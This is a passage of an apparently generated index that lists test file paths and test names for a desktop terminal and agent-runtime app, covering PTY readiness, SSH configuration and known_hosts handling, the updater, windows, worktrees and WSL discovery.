src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts: reports an in-flight PTY focus as not navigated when its notifier disappears; reports graph-leaf focus as not navigated without a host notifier; grounds the provider mode tracker before a later chunk, in the emulator order; grounds an in-flight provider snapshot capture so it cannot publish the pre-reset screen; waits for terminal exit and resolves with the exit status; keeps terminal read payloads bounded while retained output remains pageable; trims terminal read preview character budget without per-line array shifts. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts: submits a silent Claude composer once after the bounded render fallback; chunks large terminal.send text before provider writes; yields chunked terminal input through immediates between writes; yields while validating accepted large terminal.send text before provider writes; reveals a background terminal session when focusing its handle; replays captured launch config when focusing a background agent session; reveals background terminal sessions with the freshest PTY title; renames background terminal handles without requiring a visible tab; keeps a background terminal handle stable while reveal adoption is racing. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts: resolves tui-idle when a stale Codex prompt is followed by Antigravity readiness; returns an agent-neutral blocked wait result for update prompts; returns an agent-neutral blocked wait result for workspace trust prompts; returns an agent-neutral blocked wait result for cwd selection prompts; returns a blocked wait result for Codex model migration prompts; returns a blocked wait result for Codex startup hook review prompts; returns an agent-neutral blocked wait result for generic interactive prompts; splits text and enter writes for background terminal handles; types the lead line for %s: %s; submits through the agent-specific PTY timing policy for %s. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts: waits for exit on background terminal handles; keeps retained PTY transcript memory when controller refresh fails; resolves tui-idle from an Antigravity ready prompt preview; resolves Antigravity ready prompts with newline-heavy pasted tails without splitting; resolves live-leaf tui-idle from an Antigravity ready prompt preview. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts: spawns the available Qoder command for a captured same-session resume: %s; does not use the local Windows shell setting for remote Windows bare agent creates; matches canonical bare agent commands when a command override is configured; keeps non-bare agent command terminal creates unchanged; keeps disabled bare agent command terminal creates unchanged; injects runtime hook receiver env into terminal sessions; creates background terminal sessions for a $label; creates background terminal sessions for a $label; enables Claude Agent Teams only for direct Claude launches when configured in-process; reveals Claude Agent Teams launches with the rewritten launch config; preserves Claude Agent Teams for sequenced Claude launches. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts: creates visible terminal sessions without asking the renderer to focus a tab; asks the pty controller for the requested shell instead of a startup command; knows the agent a flagged launch command names before any process read; retires a flagged command pane identity when the command exits; retires only receipted restored PTY authority on command completion and exit; forgets synthetic handles when disconnected PTY records are pruned. src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts: returns OSC titles from headless main terminal snapshots; adopts renderer-seeded titles into headless main terminal snapshots; returns cwd metadata from seeded headless main terminal snapshots; adopts OSC7 host metadata from seeded headless terminal scrollback; falls back to the renderer snapshot for hidden-output recovery without headless state; keeps an empty headless snapshot authoritative for hidden-output recovery; advances the absolute output sequence across a daemon stream gap; emits explicit OSC 9999 agent status from runtime PTY data. src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts: falls back to the provider snapshot for a restored PTY with no mounted renderer; falls back to the available mirror when authoritative provider history is unavailable; keeps an empty renderer snapshot when the provider has no retained content; keeps restored provider history authoritative after later live output; uses provider alternate-screen state while a partial model is unsafe; prefers the tracked title over the headless emulator lastTitle; keeps the cursor-agent literal in record-fallback snapshots only without a tracker title; touches mobile snapshots once for decorative spinner ticks, again on idle. src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts: creates a same-repo PR branch override from a resolved head SHA and matching push target; skips broad remote fetch for an existing full-SHA PR base; creates a selected Bitbucket PR branch override from a matching remote branch; suffixes an existing PR when a matching push target lacks selected PR metadata; suffixes a matching push target branch when selected PR metadata has no PR number; suffixes a matching push target branch when the existing PR is different; suffixes a selected PR remote conflict when the PR lookup fails; checks out an unused runtime PR branch only when it is at the resolved head SHA; suffixes only the runtime worktree path when an exact PR branch checkout path exists. src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts: returns runtime local base update suggestions from addWorktree; creates a runtime local worktree from a usable persisted local branch base; does not create a runtime local worktree when the refresh fails and no local base ref exists; creates a branchNameOverride worktree from the selected matching remote base ref. src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts: continues skill management after startup recovery fails. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts: uses bounded ownership lookup for direct arrivals while the agent cannot take input; wakes a bound Run waiter when same-Run direct mail arrives; keeps an unowned detached-recipient message in its direct mailbox; uses primary-key lookups for bounded routing updates. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts: remove only literal registration import/call pairs import './orchestration-mailbox-pointer-cli-command.spec'; no additional authored credit. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts: renders the %s CLI command in a mailbox pointer. src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts: sizes a slow high-latency link near twice its bandwidth-delay product; never paces a LAN, even when its client parses slowly; never paces a fast link; returns to legacy windows when the path RTT jumps. src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts: steps down the row ladder when history is over the byte budget; tries the larger first row count, then the usual ladder within the same byte budget. src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts: returns unknown when route inspection fails or emits malformed data; does not inspect routes outside Windows. src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts: is refused to a paired %s client; reports a failed widening instead of advertising an unreachable address. src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts: reports exited only when the owning runtime completes the exit waiter; reports unverifiable when the runtime cannot observe the exit waiter; reports unverifiable when a disconnected PTY resolves with unknown liveness. src/main/runtime/session-graph/headless-runtime-graph.spec.ts: lets a session tab inventory settle on a host no renderer publishes for. src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts: remove only literal registration import/call pairs import { registerHeadlessRuntimeGraphTests } from './headless-runtime-graph.spec', registerHeadlessRuntimeGraphTests(); no additional authored credit. src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts: bumps the stored snapshot version only when the title changes. src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts: keeps the healthy aggregate verification and delayed physical exit behavior; uses a stamped exit for the incarnation that was actually being closed. src/main/runtime/terminal/identity/terminal-identity-probe.test.ts: answers live for a structured worker without touching the PTY graph; answers live for a PTY handle the runtime still holds; runs the full leaf check for a handle with no live PTY; answers not-live for a stale handle; propagates \"could not look\" rather than reporting it as a dead handle. src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts: names the tab in main’s layout through terminal.rename; takes a window-style layout.apply close as already stopped, so the terminal runs on. src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts: retains no lifecycle generation after a spawn/exit cycle. src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts: reads a freshly spawned terminal as used once a user opens its tab, not on a probe; keeps the open mark on the process a user open starts. src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts: from a desktop window that mounts both panes; from a server with no window. src/main/runtime/terminal/surface/workspace-layout-projection.test.ts: carries views for a partition that holds none yet. src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts: releases a signalled exit-waiter when the signal aborts. src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts: selects a local hook status for a local pane. src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts: keeps the footer and the bare caret on screen mid-turn; %s: the screen alone reads ready during %s. src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts: uses per-launch arguments and preserves launch telemetry; attributes a startup agent whose caller named no surface as unknown; launches %s bare for an absent or blank prompt; attributes a %s draft launch named %s as %s; merges an automation's extras over the host defaults; threads worktree-create extras into the startup build; returns an enabled requested agent without detecting; returns the default when nothing was requested; detects instead of using the default when the requested agent is disabled; starts no agent when the default is blank; detects an enabled agent on this host when nothing usable was named; starts no agent when detection finds none. src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts: pastes and submits through composer readiness, never typing raw input; types the follow-up on WSL or SSH-to-Windows once the agent is in front, as before; cleans up the deadline when the composer was already captured; a draft that is not submitted is pasted on the box cursor, as before; takes the box after the grace when the row never comes, whatever repaints; takes the box at the deadline when the grace would outlast the budget; lets a dialog on screen veto a grace; refuses the deadline inside a pending grace while a shell is in front; takes the box at the deadline inside a pending grace with the agent in front; takes the box at the deadline after a refused grace once the agent is in front. src/main/skills/skill-install-transaction.test.ts: installs, previews unchanged bytes, and updates a clean receipt-owned skill; preserves the old version after a %s filesystem failure. src/main/speech/model-manager-download-resume.test.ts: requests the remaining bytes when a clean range response ends before the file total; bounds a server that advances by pathologically tiny segments forever. src/main/ssh/config/ssh-config-parser.test.ts: parses a basic host block; parses multiple host blocks; skips wildcard-only Host entries; skips Host entries with only pattern characters; parses IdentityFile with ~ expansion; parses Windows-style IdentityFile with ~ expansion; parses quoted scalar values like OpenSSH; parses equals-form scalar directives; parses IdentityAgent with ~ expansion; parses IdentitiesOnly; parses GSSAPIAuthentication; keeps the first GSSAPIAuthentication value like OpenSSH; parses ProxyCommand, ProxyUseFdpass, and ProxyJump; ignores comments and blank lines; handles case-insensitive keywords; stops current block on Match directive; returns empty array for empty input; creates one parsed host per concrete alias on a multi-pattern Host line; applies identity agent settings to every concrete alias on a multi-pattern Host line; defaults port to 22 for invalid port values; converts hosts to SshTarget objects; uses host alias as hostname when HostName is missing; skips hosts that are already imported; defaults username to empty string when not specified; carries through identityFile, identityAgent, identitiesOnly, proxyCommand, and jumpHost; carries through gssapiAuthentication; imports duplicate aliases only once and keeps the first concrete host; maps hosts for the picker and flags aliases already in Orca; de-dupes aliases and defaults missing fields; parses hostname, user, port from ssh -G output; collects multiple identity files; parses forwardagent yes; defaults port to 22 when missing; returns empty hostname when missing; returns undefined user when missing; handles empty output; skips lines without spaces; parses proxycommand and filters \"none\"; parses proxyusefdpass yes; parses proxyjump and filters \"none\"; handles ~ expansion in identity file paths; handles Windows-style ~ expansion in identity file paths; parses identityagent with ~ expansion; preserves identityagent none so auth can disable agent fallback; parses identitiesonly yes; parses gssapiauthentication; parses controlmaster options and filters controlpath none. src/main/ssh/config/ssh-known-hosts-source.test.ts: splits the space-separated list ssh -G prints on one line; expands ~ in a reported path; keeps a double-quoted path containing spaces whole; falls back to the default files when ssh -G reported nothing; drops an explicit none without falling back to the defaults; splits both known_hosts lists on one line each; reads StrictHostKeyChecking, including accept-new; reads HostKeyAlias and prefers it for the lookup; reads the non-default port; reports that the lookup came from an alias, so the port is not appended; reports no alias when the dialed host is used; unions the entries of every file; skips a path that is a directory; returns nothing when no file can be read; reports nothing unreadable when every file parses; does not count an empty file as unreadable; prefers HostKeyAlias over the resolved hostname; uses the dialed host, because a resolved hostname can just echo the label; still prefers an explicit HostKeyAlias over the dialed host; falls back to the dialed host when nothing was resolved; is rejoined when the split fragments resolve to nothing; leaves a single unresolvable path alone rather than inventing one; expands the __PROGRAMDATA__ token rather than passing it through as a path; does not rewrite a path that merely BEGINS with the token characters; keeps a drive-letter path with mixed separators intact; splits a spaced Windows home into the fragments the rejoin has to put back. src/main/ssh/config/ssh-known-hosts.test.ts: reads the algorithm from the blob rather than trusting the line; rejects %s; refuses a malformed blob: %s; uses the bare host on the default port; tries the bracketed form first and falls back to bare off-port; matches an exact line; matches case-insensitively; reports a changed key of the same type; reports unknown for %s; matches any host in a comma list; matches the bracketed form on its port; does not apply a bracketed entry to the default port; falls back to a bare line when off-port; never reports a change from the fallback pass; matches a bare literal on the default port; matches a bracketed literal on its port; reports a change for a literal; handles %s; still reports a change for a different key on a revoked host; skips a line carrying an unrecognised marker; does not report a change when only another key type is on file; matches within the same type; accepts CRLF terminators; skips blanks, comments and surrounding whitespace; accepts a hit regardless of which file holds it (%s); never brackets the alias, whatever the port; still brackets an ordinary host on a non-default port; matches a bare alias entry on a non-default port; still accepts the unmodified key field; accepts a hashed entry whose salt is a full SHA1 digest; still accepts the unmutated ssh-keygen -H vector; falls back to the bare host line on a non-default port, as ssh did; refuses a key type it has not seen for a host it knows, as ssh did. src/main/ssh/connection/ssh-connect-config.test.ts: returns undefined when no default keys exist; returns the first existing key file; probes regular and FIDO2 keys in stable default order; keeps a regular default ahead of a malformed FIDO2 default; uses target host/port/username; falls back to resolved config when target fields are empty; keeps imported endpoint fields as the fallback when ssh -G is unavailable; sets readyTimeout to CONNECT_TIMEOUT_MS; sets keepaliveInterval to 15s; enables keyboard-interactive auth so MFA challenges can be answered; uses agent auth when no explicit key and SSH_AUTH_SOCK is set; enables agent forwarding when OpenSSH config requests it and an agent is available; does not enable agent forwarding without a usable agent; resolves IdentityAgent SSH_AUTH_SOCK from the environment; uses the Windows OpenSSH agent pipe when no environment socket is available on Windows; wraps agent auth with IdentityFile filtering when IdentitiesOnly is enabled; applies a manual target IdentitiesOnly setting when ssh -G reports it off; includes unencrypted target.identityFile auth when an agent is available; defers encrypted target.identityFile auth when an agent is available; uses keyFile auth when target.identityFile is set and no agent is available; includes unencrypted resolved identityFile auth when an agent is available; defers a default-path resolved identityFile to the no-agent retry; offers the keyboard-interactive challenge when the agent defers no key; provides fallback key when no agent is available; can force private key inclusion for the post-agent fallback path; falls back to resolved proxyCommand; returns structured jump-host config for target.jumpHost; returns structured jump-host config for resolved proxyJump; returns undefined when no proxy is configured. src/main/ssh/connection/ssh-connection-auth-fallback.test.ts: resolves OpenSSH config using configHost when present; tries ssh-agent before reading an explicit private key; falls back to direct private key auth when agent auth fails; falls back to direct private key auth after too many agent authentication failures; answers bounded keyboard-interactive challenges such as Duo 2FA. src/main/ssh/connection/ssh-connection-store.test.ts: lists picker suppression aliases without consulting re-adoption tombstones; getTarget delegates to store; addTarget generates an id and persists; saves the CLI control switch as given, with no consent stamp; addTarget stamps source as manual by default; addTarget preserves an explicitly provided source; inserts a new config host stamped as ssh-config; asks the parser for all hosts — reconciliation happens in the store; updates an existing config-sourced target when the port changed; refreshes gssapiAuthentication on sync; never overwrites a manual target that owns the alias; does not rewrite an unchanged config-sourced target; returns empty array when nothing changed; tombstones a deleted config-sourced host so re-import skips it; suppresses a deleted manual target from config discovery; re-adding a deleted host reclaims its alias so sync stops suppressing it; editing a target reclaims its alias from the deleted set; records a tombstone when removing any user-facing target; re-adopts orphaned repos when the same host is re-added. src/main/ssh/connection/ssh-connection.test.ts: transitions to connected on successful connect; captures the negotiated SSH server key fingerprint; allows concurrent exec commands for ssh2 transport; removes startup listeners after ssh2 connect succeeds; scopes lifecycle events and pending handshake timers to one mock client; enables TCP_NODELAY on the new ssh2 client after a reconnect cycle; transitions through connecting → connected states; reports error state on connection failure; disconnect cleans up and sets state to disconnected; getTarget returns a copy of the target; getState returns a copy of the state; throws when connecting a disposed connection. src/main/ssh/orcad-migration-stuck-host-profiles.test.ts: never leaves a running terminal behind; is offered only when leaving saved state behind would clear the refusal. src/main/ssh/orcad-runtime-maintenance.test.ts: keeps a connect from retrying a build an explicit Update also failed; offers Force when Update was refused by policy; forwards anew after an activation, since the new slot may bind another port; passes a refusal through and leaves the server linked; forwards anew once a serving slot is restored, which may have bound another port. src/main/ssh/port-forwarding/ssh-port-forward.test.ts: reports the port the OS bound when an ssh2 forward asks for port 0; adds an ssh2 port forward and returns entry; adds a system SSH port forward when no ssh2 client is available; reports the port a system SSH forward resolved when asked for port 0; passes resolved OpenSSH config to system SSH port forwards; disposes a system SSH tunnel when removing the forward; lists forwards filtered by connectionId; removes a forward by id; awaits forward close when removing a forward for user actions; returns null when removing nonexistent forward; removes all forwards for a connection; dispose removes all forwards; stores label in the entry; preserves the existing id when updating a forward succeeds. src/main/ssh/ssh-channel-multiplexer.test.ts: sends a JSON-RPC request and resolves on response; assigns unique request IDs; sends notifications without expecting a response; dispatches incoming notifications to handler; sends one keepalive frame per cadence tick; drives keepalive sends AND dead-link detection from a single interval; resolves false immediately on a disposed mux; throws on request after dispose; reports isDisposed correctly; clears registered handlers on dispose; does not retain handlers registered after dispose. src/main/ssh/system-transport/system-ssh-forward-process.test.ts: spawns exactly the argv the orphan matcher is given, LogLevel=INFO included; runs port forwards unmultiplexed even when ssh_config disables muxing; preserves manual target port and identity options in the forwarded ssh command; does not spawn ssh when the requested local forward port is already in use; spawns ssh after the requested local forward port preflight succeeds; resolves startup after the grace period when ssh keeps running; sends SIGTERM then SIGKILL when the process does not exit; does not resolve stop until the process exits. src/main/ssh/system-transport/system-ssh-loopback-route.test.ts: dials the held forward ahead of the alias so OpenSSH keeps these over ssh_config; drops a manual target's own port and proxies, which would fight the route; never routes a forward, whose argv must stay stable for orphan recovery; %s → %s; opens the forward over the real proxy, then proves a login over the route; lands the forward on the sshd and known_hosts name the direct route resolved; holds the forward with server-alive probes; never lets the background forward or probe ask for credentials; starts no forward when admission refuses the route; stops the forward when sshd refuses logins over it; stops the whole forward process tree on Windows, once; reports a forward that already exited before anyone listened for it. src/main/startup/browser-process-user-agent-ordering.test.ts: explains admission refusal before a desktop launch exits; explains an orcad holding the profile instead of exiting silently; does not acquire profile admission for a duplicate launch; executes after the dev app name and before later preflight work; exits and releases admission after pending profile move recovery fails; keeps Linux background startup failures console-only and immediate; keeps Linux serve startup failures console-only and immediate. src/main/startup/quit/quit-path-durable-write-blocking.test.ts: store.flushAsync() issues no synchronous fs syscalls; store.flushAsync() also moves the active-view and github-cache sidecars off the thread; stats.flushAsync() issues no synchronous fs syscalls; Grok session cleanup issues no synchronous fs syscalls; stats.flushAsync() closes out live agents before it returns, not when its write lands; a stalled mount leaves the event loop live instead of parking it; store.flushAsync() is one idempotent final barrier; store.flushAsync() resolves instead of throwing when the profile mount rejects writes. src/main/stats/agent-session-transition-recorder.test.ts: counts a hook-only agent that never writes an agent-shaped terminal title; never opens a session from a replayed or disk-restored working status; still closes a live session when the terminating status arrives as a replay; counts one session per turn across repeated working/done cycles; closes an open session when its pane is torn down; bounds the mirror and closes what it evicts; stops the session when the main agent settles and only a watch loop holds the row working; keeps the session open while a subagent outlives the main agent, and closes it when the child settles; dates the stop by the evidence when a shell outlives the last subagent; opens a new session dated by the observation when the main agent resumes after monitoring; never dates a reopen before the close a fact-less OSC repaint caused; dates the first live row after a restored one by the evidence, not the restored clock; treats an unchanged answer as a snapshot, never a transition; opens only on a live working edge; closes only a session it opened. src/main/text-generation/commit-message-text-generation-model-discovery.test.ts: returns static catalog models without spawning for static agents; discovers dynamic models through the agent CLI; discovers dynamic models through the configured agent command override; falls back to static models when dynamic discovery returns no parseable models; falls back to the first discovered non-Pi model when its static default is unavailable. src/main/text-generation/pull-request-context.test.ts: does not fetch unrelated fork remotes before generating PR context; bounds exact remote-ref probe concurrency for a large remote list; reports no branch change because PR context preparation is read-only; keeps a remote-qualified base when the selected base includes the remote. src/main/text-generation/source-control-local-process.test.ts: asks the supervisor to stop and leaves its group to it; signals nothing once the supervisor has exited; stops an agent that ignores its stdin end through its supervisor. src/main/updater/linux-package/linux-package-update-recovery.test.ts: retains the downloaded package with the digest from the event metadata; requires a string downloaded path; accepts an uppercase extension; requires a non-empty string version; matches an absolute file URL by basename; accepts duplicate entries that agree on the digest; refuses an entry with a missing or non-string digest; refuses a digest that is not base64 at all; refuses a malformed percent-encoded URL; refuses a missing or non-array file list; tolerates a non-object event; replaces the retained artifact with a newer download; keeps the retained artifact when a new download has no usable digest; keeps the retained artifact when an unrelated download event arrives; clears the retained artifact; preserves the artifact across a recheck of the same version; clears the artifact when another version takes over; preserves the artifact for an unknown or empty version; is a no-op without a retained artifact; returns the built command and package file name for a verified package; reports missing without a retained artifact; propagates a package-manager discovery failure; rejects a well-formed digest that belongs to another file; never hashes a package that a malformed digest failed to arm; rejects a path outside the cache root; rejects the cache root itself; rejects a package in the updater directory itself; rejects a pending directory that is a symlink out of the cache; performs one hash pass for concurrent requests; revalidates once the in-flight pass settles; does not reuse an in-flight pass for a different artifact; starts a fresh proof when the same package is captured again; returns the verified package path; returns missing without a retained artifact. src/main/updater/releases/updater-prerelease-feed-readiness.test.ts: accepts a GitHub %s asset redirect as ready; reports a GitHub asset request error as unavailable; reports not-ready with a verified last-good tag when the newest assets are unavailable; does not classify a non-positive tag limit as feed unavailability; reproduces the v1.4.142 publishing incident as not-ready; reports transport failures as unavailable instead of not-ready; treats an explicit asset 404 as not-ready when another asset is unavailable; accepts absolute manifest asset URLs without rewriting them to release asset paths; returns not-ready with an older ready update as last-good while newest is publishing. src/main/updater/releases/updater-release-builds.test.ts: lists hourly builds from the dedicated repo, newest first; lists daily builds from the dedicated repo, newest first; separates stable from rc in the shared main repo; skips drafts and unparseable tags; keeps a composed release title and drops one that repeats the tag; hides builds that published no artifact for this platform; returns an empty list when no build has this platform artifact; keeps mac builds visible on macOS regardless of the Windows leg; resolves the platform installer download url; leaves the installer url null when the release published no installer; tolerates a release whose assets are missing or malformed; sends the local gh token as a bearer header when one is available; sends no authorization header when gh has no token; retries unauthenticated once when GitHub rejects the token; does not retry a 401 that was already unauthenticated; falls back to the per-IP bucket when the token is rate limited and tells the gh breaker; reports a secondary limit carrying retry-after without retrying or tripping the breaker; records a primary limit in the token scope %s; keeps %s authenticated when only %s is blocked; skips the token while its scope %s is blocked; surfaces a rate limit with its reset time and a sign-in hint when unauthenticated; omits the sign-in hint when the rate-limited request was authenticated; treats 429 as a rate limit; reports a 403 without rate-limit headers as a plain HTTP error; reports a missing hourly repo distinctly; is null when GitHub sent no reset; prefers retry-after over the primary reset epoch; falls back to the primary reset epoch when there is no retry-after; reads retry-after as seconds; reads retry-after as an HTTP date; pins an hourly tag at the hourly repo download path; pins a daily tag at the daily repo download path; pins a stable tag at the main repo download path; rejects a tag that is not a version. src/main/updater/updater.build-channel-selection.test.ts: uses the display label in the unsupported-platform %s pinned-build error; still pins %s from an unsigned Windows dev build; restores ordinary release checks after local build selection fails; opts into the RC channel when checkForUpdatesFromMenu is called with includePrerelease; pins the generic feed to a perf-tagged prerelease when requested; surfaces no-update feedback when no newer perf-tagged prerelease exists; keeps prerelease publishing-window misses on the generic retry path; leaves the feed URL alone for a normal user-initiated check. src/main/updater/updater.check-preflight.test.ts: ignores a stale update-not-available event after a new check starts preflight; deduplicates repeated manual checks while the immediate checking status is active. src/main/updater/updater.prerelease-fallback.test.ts: retries a prerelease check once against the previous feed tag when the manifest is missing; surfaces a promise-only prerelease fallback failure after the primary error event. src/main/updater/updater.publishing-window-feed.test.ts: repins the generic feed to the newest RC tag for a prerelease user; repins the generic feed to a newer stable tag for a prerelease user; pins a stable fallback when Atom has no newer prerelease; uses last-good concrete feed when a user-initiated check lands during publishing; can offer an older fully published update while the newest release is publishing; keeps background publishing-window fallback on the short retry cadence. src/main/updater/updater.quit-and-install.test.ts: surfaces an accepted retry before electron-updater emits download progress; defers quitAndInstall and runs its launcher within the launch PATH scope; runs pre-quit cleanup before local PTY cleanup during update install; keeps optional pre-quit cleanup fail-and-continue behavior by default; ignores duplicate quitAndInstall requests while the shared delay is pending; arms the forced-exit watchdog once the install commits; disarms the forced-exit watchdog when sync install error recovery keeps the app open. src/main/window/createMainWindow-markdown-editor-focus.test.ts: ignores traffic light sync IPC on non-macOS; still intercepts Cmd+Shift+B and Cmd+Alt+B when the markdown editor is focused; coerces non-boolean setMarkdownEditorFocused payloads to false; opens a table-aware context menu synchronously without a renderer query; builds the plain edit menu for the one right-click the renderer marks as plain text. src/main/window/createMainWindow-renderer-crash-recovery.test.ts: notifies the caller when the renderer process is gone; passes the renderer webContents id through crash recording and recovery callbacks; forwards expected renderer teardowns so the recorder can diagnose suppression; reloads the app shell after an unexpected renderer process loss; does not reload after renderer loss when recovery is disabled; stops auto-reloading after a rapid renderer crash loop trips the breaker. src/main/window/dashboard-popout-window.test.ts: updates the title after language initialization and unsubscribes when closed; lets its preload expose saved WSL hosts in serve-only, and passes nothing otherwise; creates a native-frame window with the shared preload and no webview surface; shows the window on ready-to-show; loads the prod file entry; loads the dev server URL when in dev; focuses the existing window instead of creating a second one; trusts only the live popout webContents; restores a minimized window when re-requested; restores valid persisted bounds; discards off-screen persisted bounds and falls back to defaults; persists bounds on resize after the debounce, guarding near-minimum sizes; keeps saving bounds after a vetoed quit and freezes them only on an allowed quit; closeDashboardPopout closes an open window; applies the persisted app zoom level on dom-ready; follows app zoom changes while open and unsubscribes on close; zoomDashboardPopoutIfFocused steps the popout zoom only while focused; handles the zoom-in chord via before-input-event and ignores other keys; handles mouse-wheel zoom requests outside before-input-event; respects zoom keybinding overrides for keyboard and mouse-wheel paths. src/main/window/dropped-path-preparation.test.ts: opens and stores each unique source once as drop size grows tenfold; passes ordinary paths without copying for %s; preserves ordinary successes and copied successes when another file fails; serializes copy requests from different owners; reports all lost paths without a shared reason when their failures differ. src/main/window/main-window-updater-deferred-setup.test.ts: releases all 64 completed fallback handles without repeating initialization; keeps setup after ready-to-show and releases its fallback afterward; preserves the 15-second fallback when first paint never arrives; preserves destroyed-window guard reads before and at the fallback deadline; keeps the exact %s error and releases its completed fallback; keeps the exact fallback %s error without retrying initialization; preserves pending manual setup after failed ready registration; keeps setup options, live store reads, nudge writes and required quit flush. src/main/worker-threads/worker-thread-request-queue.test.ts: posts one request at a time and in the order it was dispatched; fires a posted call at its own deadline; stops respawning and fails the rest of the queue once deaths hit the cap; clears the death count when a fresh burst starts from full idle. src/main/workspace-hooks/hooks-setup-runner-script.test.ts: builds Windows runners for newline-heavy scripts without line-array splitting; builds POSIX runners without regex-wide CRLF normalization; writes POSIX setup runners for shebang-declared scripts on native Windows paths; keeps batch setup scripts on cmd.exe when the terminal is Git Bash; hands a Git Bash pane a launch command MSYS cannot rewrite for a cmd runner; replays interpreter flags declared on the shebang line; preserves cmd.exe setup runner semantics for configured cmd users; keeps POSIX runner behavior on POSIX platforms; waits when either local or project policy requires completed setup; marks setup-runner terminals for the always-on credential guard; maps git-bash to POSIX setup launch metadata on Windows; falls back to the cmd runner when the git-bash setting has no installed Git Bash; keeps the cmd runner for a non-Git bash such as Cygwin; keeps the cmd runner for a bare bash whose flavor cannot be resolved; uses the POSIX runner for a bare bash that resolves to Git Bash; uses the POSIX runner for an extension-less Git Bash path; preserves the existing cmd runner for PowerShell terminals; preserves cmd setup compatibility when a Windows-host project has a WSL shell setting; classifies an installed explicit Git Bash executable as a POSIX runner; falls back to the cmd runner when the explicit Git Bash path no longer exists. src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts: schedules remote identity enrichment without blocking the caller; probes a drive project whose runtime is WSL %s; sweeps a local repo: %s; probes an SSH row that carries only executionHostId on its own host; keeps same-path rows on two different SSH hosts from sharing one backoff; coalesces concurrent probes for the same repo location; caches no-identity probes briefly so list calls do not retry every time; does not rewrite the no-remote marker on a later retry; resolves a settled no-remote repo once it gains a remote; does not re-probe a resolved identity before the refresh window elapses; re-probes a resolved identity after the refresh window elapses; bounds re-probes per sweep so a large repo list drains gradually; forgets a removed repo location so its deadline cannot outlive the repo; keeps a surviving repo backoff when a sibling repo is removed; probes again when the same location is re-added after its probe was retired; coalesces concurrent sweeps instead of running one pass per list call. src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts: preserves create priority through claim probes on %s; starts the checkout only once the async workspace root resolves; still deduplicates when both callers await the same pending root lookup; namespaces native Windows preparation directories for long paths; deduplicates preparation for the same repo, base, runtime, and workspace root; does not spend a divergence walk when the base matches exactly; claims when the two sides spell the same ref differently; evicts a repo's own stale preparation before another repo's; still discards armed checkouts when the project runtime needs repair; routes preparation and finalization through the selected WSL runtime; retries stale cleanup after a transient listing failure; does not discard a detached worktree with caller-controlled preparation metadata; does not re-arm after an isolated create; re-arms a preparation once creates arrive in a burst; holds the re-arm checkout until the create runs the deferred thunk; starts one explicit prefetch after the create completes; does not re-arm when finalization failed; reports a pending create while a stale-cleanup scan is running. src/main/workspaces/removal/local-worktree-removal-recovery.test.ts: recovers Git for Windows partial filesystem deletion failures; finishes a clean non-force deletion after Git leaves a Windows directory behind; recovers localized Windows failures after Git already removed the registration; does not recover unrelated localized failures while Git still owns the row; finishes a macOS deletion Git deregistered before failing with Directory not empty; leaves an orphaned checkout to the orphan cleanup instead of deleting it; prunes and strictly verifies on the selected WSL host without deleting files or branches. src/main/workspaces/removal/worktree-removal-safety.test.ts: rejects deleting a worktree that contains another registered worktree; rejects POSIX home directories even when host homedir has a different path shape; refuses a home the host reported even when no path rule recognises it; refuses the Windows host's home directory from a POSIX client; refuses the Windows host's home directory even when the host reported nothing. src/main/wsl/discovery/distro-catalog.test.ts: retries asynchronous discovery after a transient wsl.exe failure; retries synchronous discovery after a transient wsl.exe failure; retries asynchronous discovery after wsl.exe reports no distros yet; retries synchronous discovery after wsl.exe reports no distros yet; bounds the wsl.exe spawn rate while no distros are installed; bounds the asynchronous spawn rate while no distros are installed; still caches a non-empty distro list for the process lifetime; re-probes a docker-desktop-only machine once a user distro can appear; backs off while the list keeps coming back empty; backs off after repeated distro-list failures; caps the empty-list backoff at five minutes; keeps reporting an empty result after it goes stale; keeps reporting a known distro list indefinitely; bounds cached homes while retaining the most recently used distros; still lists distros, and an excluded distro home probe fails like any other probe; gives the async home probe time for a cold boot instead of killing it at 5 s; retries availability after a probe timeout instead of latching false; bounds the probe rate while the failure window is open; caches a successful probe for the process lifetime; names an explicit spawn directory, so no deleted cwd can read as ENOENT; shares one wsl.exe spawn between concurrent probes; keeps reporting the last observed answer after it goes stale; holds a definitive failure far longer than a timeout when %s; backs off after repeated probe failures; re-probes a seeded retryable failure once its window lapses; re-probes availability once a distro list succeeds after %s; does not drop an availability failure for an empty distro list; keeps reporting unavailable off Windows without probing. src/main/wsl/discovery/wsl-distro-holder.test.ts: runs a busybox-safe loop through --exec and names the distro; spawns a detached-style holder, records it, and waits for the distro to run; a holder exiting with code 1 notes 